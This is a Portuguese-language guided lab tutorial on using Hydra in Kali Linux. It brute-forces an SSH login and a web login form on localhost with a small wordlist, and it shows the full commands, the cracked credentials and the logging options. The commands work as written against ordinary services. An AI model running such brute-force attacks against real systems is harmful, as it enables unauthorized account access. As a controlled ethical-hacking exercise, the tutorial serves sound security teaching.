Ataques de Senha no Kali com Hydra

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá os fundamentos do hacking ético usando o Kali Linux para explorar técnicas de ataque de senha com o Hydra, uma ferramenta poderosa para ataques de força bruta (brute-force). O foco é entender como esses ataques funcionam e por que senhas fortes e configurações de sistema seguras são essenciais. Você simulará ataques a credenciais SSH e logins web dentro de um ambiente controlado de VM da LabEx, garantindo um espaço seguro e legal para a prática. Através de orientações passo a passo, você criará listas de palavras (wordlists), executará ataques de força bruta e registrará os resultados para análise. Todas as tarefas são realizadas em um contêiner Kali Linux, que é configurado automaticamente para você, tornando este laboratório acessível mesmo para iniciantes completos.

Este é um Laboratório Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para concluir cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 100%. Ele recebeu uma taxa de avaliação positiva de 100% dos alunos.

Configurando o Ambiente e Instalando o Hydra

Nesta primeira etapa, você preparará seu ambiente de trabalho dentro de um contêiner Kali Linux e instalará o Hydra, a ferramenta para nossos ataques de senha. Ao abrir o terminal, você é colocado automaticamente no shell do contêiner Kali Linux, portanto, nenhuma configuração manual é necessária.

Primeiro, confirme que você está no ambiente Kali Linux verificando os detalhes do sistema operacional.

cat /etc/os-release

Você deve ver uma saída confirmando que está executando o Kali Linux.

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"

Em seguida, atualize a lista de pacotes para garantir que você possa obter as versões mais recentes do software.

apt update

Agora, instale o Hydra. O Hydra é uma ferramenta de ataque de força bruta versátil que suporta inúmeros protocolos. A flag -y confirma automaticamente a instalação.

apt install -y hydra

Após a conclusão da instalação, verifique se o Hydra está pronto exibindo seu menu de ajuda.

hydra -h

A saída mostrará a versão do Hydra e a sintaxe de uso, confirmando que ele foi instalado corretamente.

Hydra v9.x (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] ...
...

Por fim, inicie o serviço SSH que foi pré-configurado durante a montagem do ambiente. Isso nos fornecerá um alvo para nossa simulação de ataque de força bruta.

service ssh start

Você pode verificar se o serviço SSH está em execução checando seu status.

service ssh status

Você deve ver uma saída indicando que o serviço SSH está ativo e em execução.

sshd is running.

Você configurou seu ambiente com sucesso, instalou o Hydra e iniciou o serviço SSH para nossa simulação de ataque.

Criando uma Wordlist para Ataques de Força Bruta

Uma wordlist (lista de palavras) é um arquivo de texto simples contendo senhas potenciais que uma ferramenta como o Hydra usará para tentar obter acesso a um alvo. Nesta etapa, você criará uma pequena wordlist personalizada para nossos ataques simulados.

Você usará o editor de texto nano para criar um arquivo chamado passwords.txt.

Primeiro, instale o editor de texto nano.

apt install -y nano

Agora, crie o arquivo da wordlist.

nano passwords.txt

Este comando abre um novo arquivo no editor nano. Digite as seguintes senhas comuns no editor, com cada senha em uma nova linha.

admin
password
123456
test
root

Para salvar o arquivo, pressione Ctrl+O e, em seguida, pressione Enter para confirmar o nome do arquivo. Para sair do nano, pressione Ctrl+X.

Agora, verifique se o arquivo foi criado listando o conteúdo do diretório atual.

ls

Você deve ver passwords.txt na saída, confirmando que sua wordlist está pronta para uso nas próximas etapas.

passwords.txt

Realizando um Ataque de Força Bruta Bem-Sucedido no SSH

Agora você usará o Hydra e sua wordlist para realizar um ataque de força bruta contra o serviço SSH (Secure Shell) em execução no seu sistema local. O SSH é um protocolo comum para administração remota segura. Durante a configuração do ambiente, configuramos um servidor SSH com uma senha fraca que existe em nossa wordlist, tornando esta uma demonstração realista de como esses ataques funcionam.

Execute o seguinte comando para iniciar o ataque de força bruta.

hydra -l root -P passwords.txt ssh://127.0.0.1

Vamos detalhar este comando:

  • -l root: Esta flag especifica um único nome de usuário para testar, que é root.
  • -P passwords.txt: Esta flag instrui o Hydra a usar o arquivo passwords.txt como fonte para as senhas.
  • ssh://127.0.0.1: Especifica o serviço alvo (SSH) e o host alvo (127.0.0.1).

Como configuramos o servidor SSH com a senha root para o usuário root (que existe em nossa wordlist), o Hydra encontrará as credenciais com sucesso.

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: root   password: root
1 of 1 target successfully completed, 1 valid password found

Parabéns! O ataque foi bem-sucedido. O Hydra descobriu que o nome de usuário root com a senha root fornece acesso válido ao serviço SSH. Isso demonstra como senhas fracas podem ser facilmente descobertas por ferramentas de força bruta.

Realizando um Ataque de Força Bruta Bem-Sucedido em um Formulário de Login Web

Em seguida, você realizará um ataque em um formulário de login web. Este é outro alvo comum para ataques de força bruta. Durante a configuração do ambiente, configuramos um servidor web Apache simples com uma página de login vulnerável que aceita as credenciais admin:admin.

Primeiro, vamos garantir que o servidor web esteja em execução iniciando-o:

service apache2 start

Agora execute o seguinte comando para realizar o ataque de login web.

hydra -l admin -P passwords.txt http-post-form://127.0.0.1/login.php:'user=^USER^&pass=^PASS^:F=Incorrect'

Vamos examinar os componentes deste comando:

  • -l admin: Especifica o nome de usuário admin.
  • -P passwords.txt: Usa sua wordlist de senhas.
  • http-post-form://127.0.0.1/login.php: Especifica o protocolo alvo e a página de login real que criamos.
  • 'user=^USER^&pass=^PASS^:F=Incorrect': Este é o núcleo do módulo de ataque web.
    • user=^USER^&pass=^PASS^: Define os campos do formulário. O Hydra substitui ^USER^ e ^PASS^ pelas credenciais que está testando.
    • :F=Incorrect: Informa ao Hydra que uma tentativa de login falhou se a palavra "Incorrect" for encontrada na resposta do servidor.

Como nossa aplicação web está configurada para aceitar admin:admin (que existe em nossa wordlist), o Hydra encontrará as credenciais com sucesso.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-02 01:33:09
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/login.php:user=^USER^&pass=^PASS^:F=Incorrect
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found

Excelente! O ataque web também foi bem-sucedido. Isso demonstra como o Hydra pode ser adaptado para atingir diferentes serviços, incluindo aplicações web com formulários de login vulneráveis.

Registrando os Resultados de Ataques de Força Bruta

Nesta etapa final, você aprenderá a registrar a saída de um ataque bem-sucedido do Hydra. O registro (logging) é uma prática crucial para documentar descobertas durante um teste de invasão ou auditoria de segurança.

Você executará novamente o ataque SSH da Etapa 3, mas desta vez salvará os resultados em um arquivo.

hydra -l root -P passwords.txt ssh://127.0.0.1 -o attack_log.txt

A nova parte deste comando é:

  • -o attack_log.txt: Esta flag instrui o Hydra a salvar sua saída no arquivo especificado, attack_log.txt.

O comando será executado e produzirá os resultados do ataque bem-sucedido na tela, além de criar um arquivo de log detalhado.

Para visualizar o conteúdo do arquivo de log, use o comando cat.

cat attack_log.txt

O arquivo de log conterá um resumo da execução do ataque bem-sucedido, incluindo as credenciais descobertas.

## Hydra v9.x run at 2025-09-02 01:33:36 on 127.0.0.1 ssh (hydra -l root -P passwords.txt -o attack_log.txt ssh://127.0.0.1)
[22][ssh] host: 127.0.0.1   login: root   password: root

Excelente! O arquivo de log mostra claramente que o Hydra descobriu com sucesso as credenciais root:root para o serviço SSH. Esse tipo de registro detalhado é essencial para:

  1. Documentação: Manter registros de testes de invasão bem-sucedidos.
  2. Relatórios: Fornecer evidências para clientes ou gerência.
  3. Análise: Revisar padrões de ataque e taxas de sucesso.
  4. Conformidade: Atender aos requisitos de auditoria de segurança.

Você aprendeu agora como salvar os resultados de um ataque do Hydra, demonstrando tanto a descoberta bem-sucedida de credenciais quanto as práticas adequadas de documentação em hacking ético.

Resumo

Neste laboratório, você aprendeu com sucesso os fundamentos do hacking ético ao realizar ataques de senha reais com o Hydra em um contêiner Kali Linux. Você começou instalando o Hydra e configurando serviços vulneráveis (servidores SSH e web) e, em seguida, criou uma wordlist personalizada contendo senhas fracas. Através da experiência prática, você executou com sucesso ataques de força bruta contra credenciais SSH e formulários de login web, testemunhando a rapidez com que senhas fracas podem ser comprometidas. Por fim, você aprendeu a registrar os resultados dos ataques para documentação e análise adequadas.

Principais aprendizados deste laboratório:

  1. Senhas fracas são facilmente comprometidas - Tanto root:root quanto admin:admin foram descobertos rapidamente.
  2. Existem múltiplos vetores de ataque - Serviços SSH e aplicações web são alvos comuns.
  3. A documentação adequada é crucial - Registrar os resultados é essencial para testes de invasão.
  4. Consciência defensiva - Entender os ataques ajuda a implementar melhores medidas de segurança.

Essas habilidades práticas fornecem uma base sólida para entender a mecânica real dos ataques de força bruta e demonstram a importância crítica de senhas fortes, políticas de bloqueio de conta e configurações de sistema seguras na defesa contra tais ataques.